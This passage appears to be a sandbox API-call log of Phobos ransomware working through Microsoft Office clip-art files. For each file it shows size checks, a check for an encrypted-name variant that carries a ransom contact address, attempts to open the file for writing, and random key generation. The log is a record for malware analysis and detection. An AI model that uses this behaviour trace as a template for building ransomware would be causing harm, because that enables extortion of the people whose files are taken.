office\\root\\clipart\\pub60cor\\na00391_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.787] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.787] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10964) returned 1 [0152.787] CloseHandle (hObject=0x580) returned 1 [0152.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf")) returned 0x220 [0152.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.787] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.789] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6474) returned 1 [0152.789] CloseHandle (hObject=0x580) returned 1 [0152.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00395_.wmf")) returned 0x220 [0152.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00395_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00395_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.789] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.790] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14534) returned 1 [0152.790] CloseHandle (hObject=0x580) returned 1 [0152.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf")) returned 0x220 [0152.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.791] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.791] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5950) returned 1 [0152.791] CloseHandle (hObject=0x580) returned 1 [0152.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf")) returned 0x220 [0152.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.791] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.792] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18070) returned 1 [0152.792] CloseHandle (hObject=0x580) returned 1 [0152.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf")) returned 0x220 [0152.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.793] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.793] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12088) returned 1 [0152.793] CloseHandle (hObject=0x580) returned 1 [0152.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00438_.wmf")) returned 0x220 [0152.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00438_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.793] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.795] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5308) returned 1 [0152.795] CloseHandle (hObject=0x580) returned 1 [0152.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf")) returned 0x220 [0152.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.795] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.796] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5504) returned 1 [0152.796] CloseHandle (hObject=0x580) returned 1 [0152.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf")) returned 0x220 [0152.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.797] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.798] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10148) returned 1 [0152.798] CloseHandle (hObject=0x580) returned 1 [0152.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf")) returned 0x220 [0152.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.799] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.799] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20332) returned 1 [0152.799] CloseHandle (hObject=0x580) returned 1 [0152.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf")) returned 0x220 [0152.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.800] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.801] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3088) returned 1 [0152.801] CloseHandle (hObject=0x580) returned 1 [0152.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf")) returned 0x220 [0152.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.801] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.805] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2360) returned 1 [0152.805] CloseHandle (hObject=0x580) returned 1 [0152.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf")) returned 0x220 [0152.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.806] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.806] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2912) returned 1 [0152.806] CloseHandle (hObject=0x580) returned 1 [0152.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf")) returned 0x220 [0152.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.807] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.808] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=28410) returned 1 [0152.808] CloseHandle (hObject=0x580) returned 1 [0152.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00523_.wmf")) returned 0x220 [0152.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00523_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00523_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.809] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.809] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=22656) returned 1 [0152.809] CloseHandle (hObject=0x580) returned 1 [0152.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf")) returned 0x220 [0152.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.810] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.890] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18300) returned 1 [0152.890] CloseHandle (hObject=0x580) returned 1 [0152.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf")) returned 0x220 [0152.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.891] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 